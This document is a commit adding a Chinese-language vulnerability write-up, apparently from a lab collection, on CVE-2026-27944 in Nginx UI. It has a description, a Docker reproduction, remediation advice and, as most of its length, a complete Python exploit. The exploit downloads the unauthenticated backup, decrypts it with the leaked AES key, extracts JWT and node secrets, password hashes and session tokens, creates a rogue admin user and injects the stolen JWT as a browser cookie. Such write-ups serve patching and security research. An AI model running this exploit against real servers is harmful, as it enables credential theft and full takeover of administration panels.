update CVE-2026-27944

This commit is contained in:
Threekiii committed 2026-03-18 17:30:31 +08:00
1 parent 12730bd7ff
commit 289d788f80
4 files changed
+358

No files matched your search

@@ -0,0 +1,358 @@
# Nginx UI 未授权备份下载与加密密钥泄露漏洞 CVE-2026-27944
## 漏洞描述
[Nginx UI](https://github.com/0xJacky/nginx-ui) 是一个开源的 Nginx 服务器 Web 管理界面,提供在线配置编辑、SSL 证书管理和服务器监控等功能。
CVE-2026-27944 是 Nginx UI 中一个严重漏洞,影响 2.3.3 之前的所有版本。`/api/backup` 接口在注册路由时未使用认证中间件(而 `/api/backup/restore` 接口则需要认证),允许未授权的攻击者触发完整的系统备份并下载备份文件。此外,备份生成逻辑会在响应头 `X-Backup-Security` 中以 `Base64(Key):Base64(IV)` 的格式暴露 AES-256 加密密钥和初始化向量(IV),攻击者可以立即解密备份内容。备份文件中包含 Nginx UI 配置文件 `app.ini`(含 JWT 签名密钥和集群节点密钥)、SQLite 数据库(含管理员凭证和会话令牌)、SSL 私钥以及 Nginx 配置文件。
攻击者可以从解密后的 `app.ini` 中提取集群节点密钥,然后通过 `X-Node-Secret` 请求头完全绕过 JWT 认证,获得管理员权限。这使得攻击者能够创建新的管理员用户、获取 JWT 令牌,从而完全控制 Nginx UI 实例。
参考链接:
- https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-g9w5-qffc-6762
- https://nvd.nist.gov/vuln/detail/CVE-2026-27944
## 漏洞影响
```
Nginx UI < 2.3.2
```
## 环境搭建
Vulhub 执行如下命令启动 Nginx UI 2.3.2:
```
docker compose up -d
```
服务启动后,访问 `http://your-ip:9000/` 即可看到 Nginx UI 登录页面。环境已预配置管理员账户(用户名 `admin`,密码 `admin`),无需手动初始化。
![](images/Nginx%20UI%20未授权备份下载与加密密钥泄露漏洞%20CVE-2026-27944/image-20260318111403076.png)
## 漏洞复现
Vulhub 提供了一个完整的 PoC 脚本([poc.py](https://github.com/vulhub/vulhub/blob/65f9e92c330d9b23d00f0326776f19c86b643174/nginx-ui/CVE-2026-27944/poc.py))可以自动化完成整个利用链。首先安装依赖 `pip install cryptography`,然后执行脚本:
```
python poc.py -u http://your-ip:9000 --create-user hacker
```
脚本向 `/api/backup` 发送未认证的 GET 请求,下载加密的备份文件,并从 `X-Backup-Security` 响应头中解析 AES-256 密钥和 IV。随后解密备份中的所有文件,从 `app.ini` 中提取 JWT 签名密钥、集群节点密钥和加密密钥等敏感信息,并从 `database.db` 中提取用户凭证。
利用提取到的节点密钥,脚本通过 `X-Node-Secret` 请求头访问管理 API,验证已获得完整的管理员权限。配合 `--create-user` 参数,脚本会进一步创建新的管理员用户(此处为 `hacker`),获取登录接口的 RSA 公钥,加密凭证后完成认证,最终获取 JWT 令牌。
![](images/Nginx%20UI%20未授权备份下载与加密密钥泄露漏洞%20CVE-2026-27944/image-20260318111753714.png)
脚本执行完毕后会输出一条 `document.cookie` 命令,将其粘贴到浏览器开发者工具控制台(F12)中即可注入 JWT 令牌。刷新页面后,你就可以进入 Nginx UI 管理后台,如下图所示,用户管理页面中可以看到新创建的 `hacker` 用户和原有的 `admin` 用户。
![](images/Nginx%20UI%20未授权备份下载与加密密钥泄露漏洞%20CVE-2026-27944/image-20260318112848772.png)
## 漏洞 POC
```
#!/usr/bin/env python3
"""
CVE-2026-27944 - Nginx UI Unauthenticated Backup Download with Encryption Key Disclosure
This PoC demonstrates the full exploitation chain:
1. Download encrypted backup without authentication
2. Extract AES-256 key and IV from the X-Backup-Security response header
3. Decrypt the backup archive
4. Extract Node Secret from app.ini
5. Use X-Node-Secret header to access admin API
6. Modify admin password and login to obtain a JWT token for browser access
"""
import argparse
import base64
import configparser
import hashlib
import io
import json
import os
import secrets
import sqlite3
import string
import struct
import sys
import tempfile
import time
import urllib.request
import zipfile
from pathlib import Path
try:
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.asymmetric import padding as asym_padding
from cryptography.hazmat.primitives import serialization
except ImportError:
print("Please install cryptography: pip install cryptography")
sys.exit(1)
def aes_cbc_decrypt(data: bytes, key: bytes, iv: bytes) -> bytes:
"""Decrypt AES-256-CBC data with PKCS7 unpadding."""
cipher = Cipher(algorithms.AES(key), modes.CBC(iv))
decryptor = cipher.decryptor()
decrypted = decryptor.update(data) + decryptor.finalize()
pad_len = decrypted[-1]
return decrypted[:-pad_len]
def download_backup(target: str) -> tuple[bytes, str]:
"""Download backup and return (zip_data, security_header)."""
url = f"{target}/api/backup"
print(f"[*] Requesting backup from {url}")
req = urllib.request.Request(url)
resp = urllib.request.urlopen(req, timeout=15)
security = resp.headers.get("X-Backup-Security", "")
data = resp.read()
print(f"[+] Downloaded backup: {len(data)} bytes")
print(f"[+] X-Backup-Security: {security}")
return data, security
def parse_security_header(header: str) -> tuple[bytes, bytes]:
"""Parse X-Backup-Security header into (key, iv) bytes."""
key_b64, iv_b64 = header.split(":")
key = base64.b64decode(key_b64)
iv = base64.b64decode(iv_b64)
print(f"[+] AES Key ({len(key)*8}-bit): {key.hex()}")
print(f"[+] AES IV ({len(iv)*8}-bit): {iv.hex()}")
return key, iv
def decrypt_backup(zip_data: bytes, key: bytes, iv: bytes) -> dict[str, bytes]:
"""Decrypt all files in the backup ZIP archive."""
result = {}
with zipfile.ZipFile(io.BytesIO(zip_data)) as zf:
for name in zf.namelist():
encrypted = zf.read(name)
try:
decrypted = aes_cbc_decrypt(encrypted, key, iv)
result[name] = decrypted
print(f"[+] Decrypted: {name} ({len(decrypted)} bytes)")
except Exception as e:
print(f"[-] Failed to decrypt {name}: {e}")
return result
def extract_secrets(decrypted_files: dict[str, bytes], output_dir: str) -> dict:
"""Extract secrets from decrypted nginx-ui.zip."""
secrets = {}
if "nginx-ui.zip" not in decrypted_files:
print("[-] nginx-ui.zip not found in backup")
return secrets
with zipfile.ZipFile(io.BytesIO(decrypted_files["nginx-ui.zip"])) as zf:
# Extract app.ini
if "app.ini" in zf.namelist():
ini_data = zf.read("app.ini").decode()
ini_path = os.path.join(output_dir, "app.ini")
Path(ini_path).write_text(ini_data)
config = configparser.ConfigParser()
config.read_string(ini_data)
secrets["jwt_secret"] = config.get("app", "JwtSecret", fallback="")
secrets["node_secret"] = config.get("node", "Secret", fallback="")
secrets["crypto_secret"] = config.get("crypto", "Secret", fallback="")
print(f"\n[+] === Extracted Secrets from app.ini ===")
print(f" JwtSecret: {secrets['jwt_secret']}")
print(f" Node Secret: {secrets['node_secret']}")
print(f" Crypto Secret: {secrets['crypto_secret']}")
# Extract database
if "database.db" in zf.namelist():
db_data = zf.read("database.db")
db_path = os.path.join(output_dir, "database.db")
Path(db_path).write_bytes(db_data)
conn = sqlite3.connect(db_path)
cursor = conn.cursor()
print(f"\n[+] === Users from database ===")
try:
for row in cursor.execute("SELECT id, name, password FROM users"):
print(f" ID={row[0]} Name={row[1]} Password={row[2]}")
secrets.setdefault("users", []).append({
"id": row[0], "name": row[1], "password_hash": row[2]
})
except sqlite3.OperationalError:
print(" (no users table found)")
print(f"\n[+] === Active Auth Tokens ===")
try:
tokens = list(cursor.execute(
"SELECT user_id, token, short_token, expired_at FROM auth_tokens"
))
if tokens:
for row in tokens:
print(f" UserID={row[0]} Token={row[1][:40]}... Expires={row[3]}")
secrets.setdefault("tokens", []).append({
"user_id": row[0], "token": row[1],
"short_token": row[2], "expired_at": row[3]
})
else:
print(" (no active tokens)")
except sqlite3.OperationalError:
print(" (no auth_tokens table found)")
conn.close()
return secrets
def exploit_node_secret(target: str, node_secret: str):
"""Use X-Node-Secret to access admin API."""
print(f"\n[*] === Exploiting with X-Node-Secret ===")
url = f"{target}/api/users"
req = urllib.request.Request(url, headers={"X-Node-Secret": node_secret})
try:
resp = urllib.request.urlopen(req, timeout=10)
data = json.loads(resp.read())
print(f"[+] Admin API access successful!")
print(f"[+] Response from {url}:")
print(json.dumps(data, indent=2))
return True
except urllib.error.HTTPError as e:
print(f"[-] Failed: HTTP {e.code} - {e.read().decode()}")
return False
def obtain_admin_token(target: str, node_secret: str, username: str = "hacker") -> str:
"""Create a new admin user via X-Node-Secret, then login to obtain JWT token."""
print(f"\n[*] === Obtaining Admin JWT Token ===")
password = "".join(secrets.choice(string.ascii_letters + string.digits) for _ in range(16))
# Step 1: Create a new admin user via X-Node-Secret
print(f"[*] Creating new admin user '{username}' via X-Node-Secret...")
body = json.dumps({"name": username, "password": password}).encode()
req = urllib.request.Request(
f"{target}/api/users", data=body, method="POST",
headers={"Content-Type": "application/json", "X-Node-Secret": node_secret},
)
try:
resp = urllib.request.urlopen(req, timeout=10)
user_data = json.loads(resp.read())
print(f"[+] User '{username}' created (ID={user_data['id']}), password: {password}")
except urllib.error.HTTPError as e:
print(f"[-] Failed to create user: HTTP {e.code} - {e.read().decode()}")
return ""
# Step 2: Get RSA public key for encrypted login
print(f"[*] Fetching RSA public key...")
body = json.dumps({
"timestamp": int(time.time()),
"fingerprint": hashlib.sha256(b"poc").hexdigest(),
}).encode()
req = urllib.request.Request(
f"{target}/api/crypto/public_key", data=body,
headers={"Content-Type": "application/json"},
)
try:
resp = urllib.request.urlopen(req, timeout=10)
result = json.loads(resp.read())
pub_key = serialization.load_pem_public_key(result["public_key"].encode())
nonce = result.get("nonce", "")
except Exception as e:
print(f"[-] Failed to get public key: {e}")
return ""
# Step 3: RSA-encrypt login credentials and authenticate
print(f"[*] Logging in as '{username}'...")
params = json.dumps({"name": username, "password": password, "nonce": nonce}).encode()
encrypted = pub_key.encrypt(params, asym_padding.PKCS1v15())
body = json.dumps({"encrypted_params": base64.b64encode(encrypted).decode()}).encode()
req = urllib.request.Request(
f"{target}/api/login", data=body,
headers={"Content-Type": "application/json"},
)
try:
resp = urllib.request.urlopen(req, timeout=10)
data = json.loads(resp.read())
token = data["token"]
print(f"[+] Login successful! JWT token obtained.")
return token
except urllib.error.HTTPError as e:
print(f"[-] Login failed: HTTP {e.code} - {e.read().decode()}")
return ""
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-27944 - Nginx UI Unauthenticated Backup Exploit"
)
parser.add_argument("-u", "--url", required=True,
help="Target URL (e.g. http://localhost:9000)")
parser.add_argument("-o", "--output", default=None,
help="Output directory for decrypted files (default: temp dir)")
parser.add_argument("--create-user", metavar="USERNAME", default=None,
help="Create a new admin user and obtain JWT token for browser access")
args = parser.parse_args()
target = args.url.rstrip("/")
output_dir = args.output or tempfile.mkdtemp(prefix="nginx-ui-backup-")
os.makedirs(output_dir, exist_ok=True)
print(f"[*] Target: {target}")
print(f"[*] Output: {output_dir}\n")
# Step 1: Download backup
zip_data, security_header = download_backup(target)
if not security_header:
print("[-] No X-Backup-Security header found. Target may be patched.")
sys.exit(1)
# Save raw backup
backup_path = os.path.join(output_dir, "backup.zip")
Path(backup_path).write_bytes(zip_data)
# Step 2: Parse encryption key
key, iv = parse_security_header(security_header)
# Step 3: Decrypt backup
decrypted_files = decrypt_backup(zip_data, key, iv)
# Step 4: Extract secrets
secrets = extract_secrets(decrypted_files, output_dir)
# Step 5: Exploit with Node Secret
node_secret = secrets.get("node_secret", "")
if node_secret:
exploit_node_secret(target, node_secret)
else:
print("\n[-] No Node Secret found, cannot exploit further")
# Step 6: Optionally create new admin user and obtain JWT token
token = ""
if node_secret and args.create_user:
token = obtain_admin_token(target, node_secret, args.create_user)
# Summary
print(f"\n{'='*60}")
print(f"[+] Exploitation complete!")
print(f"[+] Decrypted files saved to: {output_dir}")
if node_secret:
print(f"[+] Admin API: curl -H 'X-Node-Secret: {node_secret}' {target}/api/users")
if token:
print(f"[+] JWT Token: {token}")
print(f"[+] Browser access: paste the following in browser console (F12):")
print(f' document.cookie="token={token};path=/"')
print(f" Then refresh the page to enter admin panel.")
if __name__ == "__main__":
main()
```
## 漏洞修复
- 升级至最新版本。
- 利用安全组设置其仅对可信地址开放。